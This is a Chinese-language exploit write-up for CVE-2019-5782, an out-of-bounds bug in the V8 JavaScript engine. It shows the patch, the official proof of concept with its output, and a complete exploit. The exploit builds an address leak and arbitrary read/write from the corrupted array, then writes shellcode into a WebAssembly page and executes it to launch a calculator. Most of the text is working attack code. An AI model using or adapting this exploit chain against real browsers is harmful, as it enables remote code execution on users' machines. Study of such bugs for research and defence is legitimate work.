CVE-2019-5782 OOB-v8

2018年天府杯上的一个V8引擎数组越界漏洞,本人由于太水只能从POC写EXP,独自寻找ROOT_CAUSE还是有些困难。

环境准备

git reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release d8

BUG的详情可以在以下链接找到:
Issue 906043: Security: Tianfu CUP RCE

漏洞分析

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
Type::Union(Type::SignedSmall(), Type::NaN(), zone());

// The valid number of arguments for JavaScript functions.
- Type const kArgumentsLengthType =
- Type::Range(0.0, Code::kMaxArguments, zone());
+ Type const kArgumentsLengthType = Type::Unsigned30();

// The JSArrayIterator::kind property always contains an integer in the
// range [0, 2], representing the possible IterationKinds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.cc
+++ b/src/compiler/verifier.cc
@@ -1258,8 +1258,7 @@
break;
case IrOpcode::kNewArgumentsElements:
CheckValueInputIs(node, 0, Type::ExternalPointer());
- CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
- Code::kMaxArguments, zone));
+ CheckValueInputIs(node, 1, Type::Unsigned30());
CheckTypeIs(node, Type::OtherInternal());
break;
case IrOpcode::kNewConsString:

ROOT CAUSE

具体原因在sakura师傅的文章中有说明。
CVE-2019-5782: Inappropriate implementation in V8 漏洞利用

漏洞利用

官方POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
//assertEquals(16, a2.length);
for (let i = 8; i < 32; i++) {
assertEquals(undefined, a2[i]);
}

我们改写一下POC方便打印相关信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun([1]);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
console.log(a2.length); //42
for (let i = 0; i < 32; i++) {
console.log(a2[i]);
}

griffin@griffin-pwntools:~/browser/poc/CVE-2019-5782$ ~/browser/v8/out.gn/x64.release/d8 --allow-natives-syntax poc.js 
42
1.1
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
1.09897783886014e-310
2.1834245903912e-310
8.010593699401e-311
8.91238232205e-313
2.1834245903058e-310
1.1
2.1834245903058e-310
1.09897783886014e-310
2.1834245903058e-310
2.1834245903912e-310
2.1834245903058e-310
8.010593699401e-311
2.1834245903058e-310
8.91238232205e-313
2.1834245903058e-310
2.1834245903058e-310

运行得到上面结果,原本的长度0x10变为了42,产生数组越界。

Exploit

OOB的EXP编写都差不多,在越界数组里面创建obj以及ArrayBuffer,通过obj泄露对象,通过ArrayBuffer控制backing_store进行任意读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

function success(str, val){
console.log("[+]" + str + hex(val));
}

class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var tC = new typeConvert();

// oob
function fun(arg) {
let x = arguments.length;
//console.log("arg length in func ->",x);
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun([1]);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
console.log("Now a2.length is", a2.length); //42
// leak obj
let buf = new ArrayBuffer(0xdead);
let obj={'a':0x1234,'b':0x5678};

// search obj
let obj_b_offset;
for(let i=0;i<a2.length;i++){
let val = tC.f2u(a2[i]);
if(val===0x123400000000){
//console.log("find controllable obj :",i);
obj_b_offset = i + 1;
success("obj.b -> ",obj_b_offset);
}
}
// leak buf
//let buf = new ArrayBuffer(0xabcd);
let backing_store;
for(let i=0;i<a2.length;i++){
let = val = tC.f2u(a2[i]);
if(val===0xdead){
backing_store = i + 1;
success("backing_store offset in a2 -> ",backing_store);
}
}

class ArbitraryRW{
leakObj(target){
obj.b = target;
return tC.f2u(a2[obj_b_offset]) - 0x1;
}
read(addr){
a2[backing_store] = tC.u2f(addr);
let tmp = new Float64Array(buf,0,0x10);
return tC.f2u(tmp[0]);
}
write(addr,val){
a2[backing_store] = tC.u2f(addr);
let tmp = new Float64Array(buf,0,0x10);
tmp[0] = tC.u2f(val);
}
}
let wr = new ArbitraryRW();


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
wasmIns_addr = wr.leakObj(wasmInstance);
success("wasmIns_addr ->",wasmIns_addr);

RW_addr = wr.read(wasmIns_addr+0xe8);
//RW_addr = wr.read(RW_addr_loc);
success("RW_addr ->",RW_addr);
//%DebugPrint(wasmInstance);
//readline();

shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];

for(let i=0;i<shellcode.length;i++){
wr.write(RW_addr+i,shellcode[i]);
}
wasmFunc();

000